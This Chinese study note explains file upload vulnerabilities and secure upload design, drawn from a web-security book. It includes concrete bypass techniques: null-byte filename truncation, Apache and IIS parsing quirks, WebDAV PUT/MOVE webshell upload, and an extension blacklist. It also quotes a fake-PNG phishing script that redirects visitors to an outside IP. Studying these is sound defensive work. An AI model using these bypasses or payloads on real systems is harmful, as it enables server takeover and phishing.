文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。

文件上传这种操作本身是没有问题的,也是业务的正常需求。但是有问题的时文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

文件上传后导致的常见安全问题一般有:

1、上传文件时Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代码执行。

2、上传文件时Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行为(其他通过类似方式控制策略文件的情况类似);

3、上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行;

4、上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼或欺诈。

5、将上传文件作为一个入口,溢出服务器的后台处理程序,如图片解析模块;

6、上传一个合法的文本文件,其内容包含了PHP脚本,再通过“本地文件包含漏洞(Local File Include)”执行此脚本;等等。

其中第一种问题是最常见的,也就是webshell,一般需要如下条件:

1、上传的文件能够被Web容器解释执行。所以文件上传后所在的目录要是Web容器所覆盖到的路径;

2、用户能够从Web上访问这个文件。如果文件上传了,但用户无法通过Web访问,或者无法使得Web容器解释这个脚本,那么也不能称之为漏洞;

3、用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容,则也可能导致攻击不成功。

 

参考书籍:《白帽子讲Web安全》

FCKEditer是一款支持文件上传功能的富文本编辑器,在存在漏洞的版本中,是通过检查文件的后缀来确定是否安全的。代码如下:

$Config['AllowedExtensions']['File']=array();
$Config['DeniedExtensions']['File']=array('php','php3','php5','phtml','asp','aspx','ascx','jsp','cfm','cfc','pl','bat','exe','dll','reg','cgi');

这是典型的黑名单过滤,如果我们上传后缀为php2、php4、inc、pwml、asa、cer等的文件,都可能导致发生安全问题。

由于FCKEditer一般是作为第三方应用集成到网站中,因此文件上传的目录一般默认都会被Web容器所解析,很容易形成文件上传漏洞。

 

那么如何绕过这种文件名后缀的过滤呢?

第一种方法是通过%00字节。攻击者手动修改上传过程的POST包,在文件名后添加一个%00字节,就可以截断某些函数对文件名的判断。因为在很多语言(如C、PHP)的常用的字符串处理函数中,0x00被认为是终止符。

比如说只认可JPG文件的应用,可以构造文件名(需要修改POST包)为xxx.php[\0].JPG,其中[\0]为十六进制的0x00字符。

.JPG绕过了应用的上传文件类型判断,但是对于服务器来说,此文件因为0字节截断的关系,最终会变为xxx.php。

 

除了常见的检查文件名后缀的方法外,文件的文件头也可以用于验证文件的类型。

正常情况下,通过判断前10个字节,基本就能判断出一个文件的真实类型。

浏览器的MIME Sniff功能实际上也是通过读取文件的前256个字节来判断文件的类型。对此常用的攻击技巧是伪造一个合法的文件头,而将真实的PHP等脚本代码附在合法的文件头之后。但此时,仍需要通过PHP来解释此文件才行。

 

Apache文件解析问题:

在Apache1.x和2.x中,对文件名的解析是从后往前解析的,直到遇见一个Apache认识的文件类型为止。

Apache认识的文件类型被定义在Apache的mime.types中。

那么对于如下文件名:

Phpshell.php.rar.rar.rar.rar.rar

Apache并不认识rar这个文件类型,所以会一直遍历后缀到.php,然后认为这是一个PHP类型的文件。

而.rar又是一个合法的上传需求,在一些应用中可能只判断文件的后缀是否是.rar,这时用户上传的上述文件就有可能导致脚本被执行了。

 

IIS文件解析问题:

IIS 6在处理文件解析的时候也出现过类似漏洞,就如同之前的0x00截断一样。不过在IIS和Windows环境下阶段字符变为了分号“;”

如下文件名:

http://www.target.com/path/xyz.asp;abc.jpg

IIS 6会将此文件解析为abc.asp,文件名被截断了,从而导致脚本的执行。

IIS 6还曾经出现过一个漏洞:因为处理文件夹扩展名出错,导致将/*.asp/目录下的所有文件都作为ASP文件进行解析,比如:

http://www.target.com/path/xyz.asp/abc.jpg

这个abc.jpg会被当成ASP文件进行解析。

这两个漏洞是需要在本地硬盘上确实存在这样的文件或者文件夹才可以触发。

 

IIS还存在在支持PUT功能的情况下导致的若干上传脚本问题:

PUT是WebDav中定义的一个方法。WebDav大大扩展了HTTP协议中GET、POST、HAED等功能,它所包含的PUT方法,允许用户上传文件到指定的路径下。

在许多Web Server中,默认都禁用了此方法,或者对能够上传的文件类型做了严格限制。但在IIS中,如果目录支持写权限,同时开启了WebDav,则会支持PUT方法,再结合MOVE方法,就能够将原本只允许上传文本文件改写为脚本文件,从而执行webshell。MOVE能否执行成功,取决于IIS服务器是否勾选了“脚本资源访问”复选框。

一般的攻击过程如下:

1、通过OPTIONS探测服务器信息;

2、上传文本文件xxx.txt;

3、通过MOVE把文本文件改名;

这时候文本文件就变为了脚本文件,可以执行webshell了。

 

PHP CGI路径解析问题:

留个坑

 

利用上传文件钓鱼:

钓鱼网站在传播时,会通过利用XSS、服务器端302跳转等功能,从正常的网站跳转到钓鱼网站。不下心的用户,在一开始,看到的是正常的域名,如下是一个利用服务器端302跳转功能的钓鱼URL:

http://member1.taobao.com/member/login.jhtml?redirect_url=http://item.taobao.avcvtion.com/auction/item_detail.sap?id=1981&a283d5d7c9443d8.jhtml?cm_cat=0

但只这种钓鱼再URL中直接暴露了钓鱼网站的地址。

而利用文件上传功能,钓鱼者可以先将包含了HTML的文件(比如一张图片)上传到目标网站,然后通过传播这个文件的URL进行钓鱼,则URL中不会出现钓鱼地址,更具有欺诈性。

比如图片地址如下:

http://tech.simba.taobao.com/wp-content/uploads/2011/02/item.jpg?1_117

这张图片的实际内容是:

png
<script language="javascript">
var c=window.location.tostring();
if(c.indexof("?")!=-1){
var i=c.split("?")[1];
if (i.split("_")[0]==1){
location.href='http://208.43.120.46/images/iteme.asp?id='+i.split("_")[1];
}else{
location.href='http://208.43.120.46/images/iteme.asp?id='+i.split("_")[1];
}
}
</script>

其中的png是伪造的文件头,用于绕过上传时的文件类型检查;接下来就是一段脚本,如果被执行,浏览器就会跳转到指定为的网页,也就是钓鱼网站。

骗子在传播钓鱼网站的时候也就是需要传播上述的合法图片地址的URL即可。

在正常情况下,浏览器是不会将jpg文件当作HTML执行的。但是在低版本的IE中,比如IE6、IE7以及IE8的兼容模式种,浏览器都会“自作聪明”地讲此文件当作HTML执行。这种情况直到IE8中有了增强的MIME Sniff才有所缓解。

 

那么如何设计安全的文件上传功能呢?

1、文件上传的目录设置为不可执行。很多上传应用中,文件上传后会放到独立的存储上,做静态文件处理。

2、判断文件类型时可以结合MIME Type以及后缀检查等方式;在文件类型检查中可以使用白名单。此外,对于图片的处理可以使用压缩函数或者resize函数,这样可以破坏图片中可能包含的HTML代码。

3、使用随机数改写文件名和文件路径。即能上传,但是难以访问,很大程度上增加了攻击的成本。

4、单独设置文件服务器的域名。这涉及到浏览器同源策略的问题。